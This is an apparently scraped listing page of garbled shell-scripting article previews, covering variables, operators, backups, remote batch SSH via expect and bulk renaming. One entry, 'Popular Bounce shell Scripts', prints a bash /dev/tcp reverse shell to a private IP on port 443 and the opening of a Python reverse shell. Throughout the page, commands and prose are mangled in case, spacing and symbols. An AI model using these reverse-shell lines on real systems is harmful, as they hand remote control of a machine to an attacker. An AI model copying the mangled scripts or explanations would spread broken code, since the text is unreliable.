Shell Programming (ii)

The basic features of bash:Command completion:The shell program receives a request from the user to execute the command, and after the analysis is completed, the leftmost string is treated as a command;Command Lookup mechanism:Find internal commands;

Shell Basics-Variables

The difference between source test.sh and./test.sh is that source can use the variables of the test.sh script after the script is executed, and./test.sh, its variables can only be used in scripts.Variables can be divided into global variables, local

Shell Script's Shell exercises summary

Organized a number of shell-related exercises, recorded here.1. Please follow the date format xxxx-xx-xx to generate a daily file, for example: The file generated today is 2013-09-23.log, and the use of the disk is written to this file.1 #!/bin/bash2

Two shell scripts

Script 1 Stop Lampp#!/bin/bash#set-XV Open debug mode?Count= ' Ps-ef|grep lampp|grep-v "grep" |wc-l ' # "" is the TAB key that holds down shift to appear ~ symbol, excluding the command count lines of grep itselfIf [$count-GT 0] # greater than one

Shell in && | | How to use

Shell in && | | Usage && operator:  command1  && command2 && Left command (Command 1) returns True (that is, returns 0, successfully executed) after,&& The command on the right (command 2) can be executed, in other words, "If this command executes

Shell Syntax format

Shell Syntax formatIf statementIf conditionThenCommand sequenceFiIf conditionThenCommand sequenceElseCommand sequenceFiIf conditionThenCommand sequenceElif conditionsThenCommand sequenceElif conditionsThenCommand sequenceElseCommand

Command Shell's knowledge collation

CMD is also a shell of Shell windowns.View files and folders dirmkdir * * * Create folder Rd* * Delete folder (should have parameters, recursion, etc.)Ctr+c Abort Commandcd>***.** Creating a file del filename Type + relative path view

Shell generates random numbers within a specified range

#!/bin/bashread-p "Please enter the number of start:" Minread-p "Please enter the number of terminations:" Maxif [$min-gt $max]thenecho "Start number is greater than the number of terminations! "Elseecho-n" random number: " ; expr $ (date +%n)% $[

Shell script Remote Batch execution command

#! /usr/bin/expectip_array = $ (cat /tmp/ip.txt) username = rootfor ip  in ${ip_array[*]} {                 ##### #IPspawn  ssh -p 6122 [email protected]$ $ipexpect  {"(yes/ NO)? "  { send  "yes\r";  exp_continue } "Password:"  { send  "[email 

Shell Basics-variables, judgments, loops

1. Shell basic format, variable# Add an interpreter to the shell script #! /bin/bash# Print out Hello world with a script#! /bin/bashecho "Hello World"ExitParameters: A parameter is an entity that stores real values that are typically referenced in

Bash Shell analog Password input

function inpasswd {Read-s-P "Enter you Password:" Passwd1EchoRead-s-P "please Check Password" passwd2Echoif [[$passwd 1 = = $passwd 2]]Thenecho "correct" && exit 1Elseecho "Incorrect"echo "Please Input Agin"Fi}Count=1While TrueDoIf [$count-GT

Administrator Shell Script

Technorati tag: Shell,df,sed,awk -Monitor System statistics Monitor disk free space Disk Resource Usage Monitor CPU and Memory usage -Perform a backup Archive data files Offline Storage of Backup files

Shell scripting Exercises (12.8)

Enter 2 numbers (x, y) if x equals Y, the output is z=x+y, if x is greater than Y, the output is z=x-y, otherwise the output z=x+yVI number2.sh#!/bin/bash#written by Lizheng#about Panduanecho "Please enter the number"Read XRead Yif test $x-eq $yThen

The shell that the Linux system automatically backs up

The company now needs to make regular backups of the existing servers and place the backup files in the NAS being used;For the efficiency of backup, we also need to filter the backup files and exclude some files with suffix names.The implementation

Shell Programming Basics must know

Shell programming################################################Static languageDynamic language################################################Programming languages: Machine language, assembly language, advanced languages############################

Shell script Bulk Modify file name

Before modifying the file name#!/bin/bask#for A in $ (ls/etc/yum.repos.d/centos*);d oif [$a! = '/etc/yum.repos.d/centos-media.repo '];then #CentO The S-media.repo file name does not modify the MV $a $a. bak

Shell Combat (1)

1. Batch generation of random character file name casesUse the For loop to bulk create 10 HTML files in the/sixijie directory, where each file needs to contain 10 random lowercase characters plus a fixed string sxj, with the following name examples:[

Shell Common syntax

#!/bin/bashecho "**********argument**********"Echo Script Name: $Echo First argument $echo second argumentecho num of argument $#echo all argument [email protected]#functionEqual (){Case $ in$)return 0;;*)Return 1;;Esac}#ifecho "**********test if****

Popular Bounce shell Scripts

Bash Shell Bounce Script/bin/bash-i >/dev/tcp/10.211. 55.11/443012>&1Python Shell Bounce Script# !/usr/bin/python # This is a Python reverse shell script Import socket,subprocess,os;s=socket.socket (socket.af_inet,socket. SOCK_STREAM); S.connect (("1

Empty Shell Mail

Empty Shell end:Vim/etc/named.rfc1912.zonescd/var/named/cp-p westos.com.zone Westos.org.zoneVim Westos.orf.zone650) this.width=650; "Src=" Http://s3.51cto.com/wyfs02/M01/8B/4C/wKiom1hJAw3QQXmuAABg2u1TR8g913.png-wh_500x0-wm_3 -wmp_4-s_254782645.png

Total Pages: 541 1 .... 534 535 536 537 538 .... 541 Go to: GO

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.